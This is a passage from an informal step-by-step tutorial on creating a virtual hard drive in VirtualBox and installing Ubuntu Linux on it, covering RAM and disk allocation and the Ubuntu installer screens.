Now, the installation is divided into two parts. One includes creating a new virtual drive on your HDD using virtualbox and the second part includes installing linux system on that virtual drive. If you know who to install a Linux system, the second part can be neglected. Also I am telling you clearly that the second part is dependent on the Linux Distro you are going to install. Here, I am going to install Ubuntu, so the second part will constitute the topic : How to install Ubuntu linux. If you want to install any other linux distro, just search Google for How to install xyz linux.

A complete information about the prerequisites is made above. Now let us start with installation. (I think you all are ready with you VirtualBox installed and a linux iso downloaded.)

Part-1 : Creating a new virtual drive using virtualbox

Step 1 : Open VirtualBox. On the toolbar, click on New.

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Step 2 : A new window will pop-up. In that fill in the name you want to give to this virtual drive and select the OS that you are going to install on that drive. Generally, virtualbox is smart enough to decide the OS based on its name but the version part needs to be modified manually. As in my case, I am going to install 64-bit OS but virtualbox takes the 32-bit version by default. So set the values manually as per my preference. After setting values, click on Next.

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Step 3 : Here, you will be asked to select an amount of RAM you want to allocate to this virtual OS. Make sure that you allocate enough RAM for virtual OS to run but also note that there is enough RAM left for our host OS (here Windows) to run. If you want to use Linux for general purpose, 512MB of RAM will work. But if you have 8GB of total RAM, I recommend you to provide this system atleast 1GB for better performance. After allocating proper amount of RAM, click Next.

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Step 4 : Here, you will be provided with options to create a new virtual drive or use an existing virtual drive. If you have used virtualbox and created a virtual drive before, you can select that option to use an existing virtual drive. But as we are new, we will create a new virtual drive for this process. Select "Create a virtual hard drive now" and click on Create button.

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Step 5 : Now, you will be asked to select a file type for this newly created virtual hard disk. I recommend you to select "VDI (VirtualBox Disk Image)" in this step. (Don't try to mess with partitions unless you are an expert.) Select the type and click Next.

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Step 6 : Now you will be asked to select type of storage on your physical hard drive. Static will allow you to give a fixed memory location to your virtual drive. While dynamic will allow machine to dynamically allocate storage when necessary. Generally, we must allow the virtual machine to allocate storage location. So, select "Dynamic" in this window and click Next.

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Step 7 : In the last step, you gave type of location to the virtual drive while here you will be providing a name and the size of that virtual drive. (If you are familiar with dynamic memory allocation in C language, this step would be easily understandable by you. Its similar creating a pointer variable and allocating it memory dynamically.) Also, note that the size that should be allocated depends on the type and version of OS you want to install. As I am going to install Ubuntu Linux, I am allocating it 8GB of size because the developers of Ubuntu say that 6.6GB is enough for the OS to give its best performance. After allocating size, click Create.

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Step 8 : Wait for a sec and then you will see that the virtual drive is created.

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You can see the newly created drive on the left side of the window. You can select it and modify its settings and much more. But it is not a part of this tutorial. Now, let us see how to install Ubuntu on this drive.

Part-2 : Installing Ubuntu on newly created virtual drive

Step 1 : Double click on the newly created virtual drive to open it. Or else select the drive and click on Start button in the toolbar. Now, you will be asked to select an iso to boot the drive with. If you are asked to select an iso file, goto step 3 and then jump to step 5. But if you are not asked to select a file or you messed up with this selection, just close the virtual drive and restart it. You will see something like this. (Note that steps 2 and 4 are only used when you messed up with file selection in starting.)

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Step 2 : Now, click on Devices tab in the menu bar and the click on CD/DVD Devices. Then select "Choose a virtual CD/DVD disk file..".

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Step 3 : Now, a file-explorer window will pop-up. Select the iso file from the particular location and click Open.

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Step 4 : Now, after selecting the disk, restart the virtual drive and press F12 repeatdly as soon as it starts to open the Boot Manager. Now, select option "CD-ROM" from the list provided. Here, I am pressing "c" to select that option.

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Step 5 : Now, wait for some time for disk to load. Then in the window shown, select "Install Ubuntu".

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Step 6 : Click "Continue" in the next window shown.

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Step 7 : In the next step, select "Erase disk and install Ubuntu" and press the Install now button.

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Step 8 : Here, you will be displayed with a warning message "Write changes to the disks?". Just click on Continue.

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Step 9 : Type the country you are in and click Continue.

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Step 10 : Select the keyboard layout you are using. By default, we all are using English(US). Select it and click on Continue.

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Step 11 : Now, set a username and password for your virtual-PC. And click on Continue.

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Step 12 : Wait for about 10-15 minutes and then you will be prompted that the installation is complete. Also you will be asked to restart the virtual-PC but do not restart it. Just close the dialogue box and select shut down. Then restart. If you clicked on "restart now", do not worry about the errors it shows, just close the virtual-PC and restart it as mentioned above.

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Step 13 : After restarting, you will be asked for password to login the user account you created. And then, the Ubuntu starts...Enjoy.

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If you still have any queries, post it in the comment box provided below..

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